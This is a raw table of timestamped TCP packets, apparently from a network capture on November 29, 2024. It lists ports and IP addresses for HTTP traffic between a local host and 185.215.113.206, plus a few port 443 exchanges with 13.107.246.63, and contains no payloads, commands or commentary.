Nov 29, 2024 19:49:46.420408964 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:46.420460939 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:46.420489073 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:46.420531034 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:46.421382904 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:46.421430111 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:46.421493053 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:46.421535969 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:46.422525883 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:46.422575951 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:46.422635078 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:46.422676086 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:46.423666954 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:46.423712015 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:46.423791885 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:46.423837900 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:46.424860954 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:46.424921036 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:46.424935102 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:46.424983978 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:46.425936937 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:46.425985098 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:46.426043987 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:46.426088095 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:46.427099943 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:46.427149057 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:46.427189112 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:46.427234888 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:46.428220987 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:46.428265095 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:46.428320885 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:46.428364038 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:46.429359913 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:46.429425001 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:46.429436922 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:46.429470062 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:46.430526018 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:46.430574894 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:46.789827108 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:46.789841890 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:46.789851904 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:46.789863110 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:46.789875031 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:46.789886951 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:46.789897919 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:46.789910078 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:46.789911985 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:46.789922953 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:46.789933920 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:46.789943933 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:46.789956093 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:46.789967060 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:46.789984941 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:46.789999008 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:46.790168047 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:46.790179968 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:46.790214062 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:46.790219069 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:46.790225983 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:46.790237904 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:46.790250063 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:46.790256977 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:46.790261984 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:46.790272951 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:46.790285110 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:46.790285110 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:46.790297985 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:46.790308952 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:46.790316105 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:46.790329933 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:46.790334940 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:46.790342093 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:46.790352106 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:46.790380001 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:46.791213989 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:46.791225910 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:46.791237116 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:46.791248083 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:46.791259050 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:46.791270971 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:46.791273117 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:46.791282892 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:46.791294098 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:46.791296005 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:46.791306019 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:46.791320086 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:46.791325092 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:46.791336060 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:46.791344881 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:46.791347980 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:46.791358948 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:46.791371107 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:46.791373014 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:46.791390896 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:46.791416883 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:46.792006969 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:46.792018890 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:46.792031050 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:46.792043924 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:46.792054892 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:46.792089939 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:46.792099953 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:46.792498112 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:46.792510033 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:46.792525053 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:46.792536020 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:46.792550087 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:46.792563915 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:46.792577982 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:46.792578936 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:46.792589903 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:46.792601109 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:46.792603016 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:46.792613983 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:46.792625904 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:46.792628050 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:46.792638063 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:46.792650938 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:46.792659044 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:46.792661905 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:46.792675018 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:46.792680025 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:46.792685032 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:46.792696953 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:46.792714119 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:46.793366909 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:46.793380022 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:46.793390036 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:46.793417931 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:46.793445110 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:46.793509007 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:46.793520927 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:46.793530941 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:46.793543100 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:46.793550014 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:46.793553114 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:46.793565035 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:46.793567896 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:46.793576956 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:46.793589115 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:46.793593884 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:46.793601990 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:46.793612957 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:46.793622971 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:46.793636084 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:46.793656111 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:46.794250965 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:46.794262886 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:46.794274092 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:46.794326067 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:46.794393063 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:46.794404984 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:46.794414997 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:46.794428110 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:46.794439077 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:46.794440031 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:46.794451952 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:46.794460058 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:46.794464111 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:46.794475079 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:46.794486046 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:46.794486046 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:46.794500113 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:46.794513941 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:46.794527054 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:46.795420885 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:46.795432091 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:46.795442104 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:46.795452118 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:46.795461893 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:46.795463085 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:46.795468092 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:46.795474052 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:46.795484066 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:46.795489073 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:46.795495033 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:46.795504093 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:46.795519114 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:46.795536995 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:46.796036959 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:46.796050072 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:46.796058893 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:46.796068907 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:46.796078920 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:46.796084881 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:46.796089888 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:46.796101093 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:46.796108007 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:46.796113014 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:46.796114922 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:46.796124935 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:46.796134949 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:46.796144962 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:46.796145916 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:46.796155930 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:46.796166897 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:46.796175957 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:46.796179056 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:46.796192884 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:46.796212912 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:46.796871901 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:46.796958923 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:46.796969891 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:46.796981096 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:46.796991110 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:46.797008038 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:46.797019958 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:46.797019958 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:46.797029972 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:46.797040939 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:46.797049046 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:46.797050953 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:46.797061920 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:46.797066927 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:46.797080040 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:46.797100067 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:46.797772884 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:46.797785044 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:46.797794104 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:46.797806025 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:46.797847033 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:46.797868967 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:46.797900915 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:46.797911882 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:46.797921896 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:46.797931910 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:46.797943115 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:46.797945976 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:46.797954082 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:46.797959089 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:46.797964096 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:46.797975063 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:46.797985077 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:46.797987938 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:46.797995090 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:46.798017979 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:46.798038006 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:46.798759937 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:46.798772097 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:46.798789024 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:46.798799992 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:46.798810005 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:46.798819065 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:46.798829079 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:46.798839092 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:46.798841953 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:46.798850060 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:46.798861027 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:46.798865080 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:46.798887014 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:46.798903942 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:46.799185991 CET	443	49788	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:46.799510002 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:46.799521923 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:46.799530983 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:46.799542904 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:46.799554110 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:46.799566031 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:46.799576044 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:46.799582958 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:46.799596071 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:46.799604893 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:46.799607038 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:46.799618006 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:46.799618959 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:46.799629927 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:46.799643040 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:46.799653053 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:46.799655914 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:46.799693108 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:46.799700022 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:46.800132036 CET	49788	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:46.800149918 CET	443	49788	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:46.800173044 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:46.800221920 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:46.800252914 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:46.800329924 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:46.800585032 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:46.800626993 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:46.800656080 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:46.800713062 CET	49788	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:46.800719976 CET	443	49788	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:46.800769091 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:46.801722050 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:46.801795959 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:46.801856041 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:46.801954985 CET	443	49790	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:46.802845001 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:46.802907944 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:46.802994967 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:46.803241014 CET	49790	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:46.803252935 CET	443	49790	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:46.803256035 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:46.803673983 CET	49790	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:46.803678036 CET	443	49790	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:46.803958893 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:46.804013014 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:46.804045916 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:46.804256916 CET	443	49789	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:46.804327011 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:46.804542065 CET	49789	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:46.804558992 CET	443	49789	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:46.804923058 CET	49789	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:46.804929018 CET	443	49789	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:46.805111885 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:46.805172920 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:46.805236101 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:46.806273937 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:46.806329966 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:46.806361914 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:46.807400942 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:46.807476997 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:46.807535887 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:46.808548927 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:46.808613062 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:46.808629036 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:46.809659004 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:46.809722900 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:46.809808969 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:46.810897112 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:46.811155081 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:46.811212063 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:46.811980009 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:46.812077999 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:46.812134981 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:46.813138008 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:46.813198090 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:46.813254118 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:46.814208031 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:46.814322948 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:46.814367056 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:46.815407038 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:46.815469027 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:46.815561056 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:46.816484928 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:46.816540003 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:46.816570044 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:46.817641973 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:46.817691088 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:46.817738056 CET	80	49772	185.215.113.206	192.168.2.5
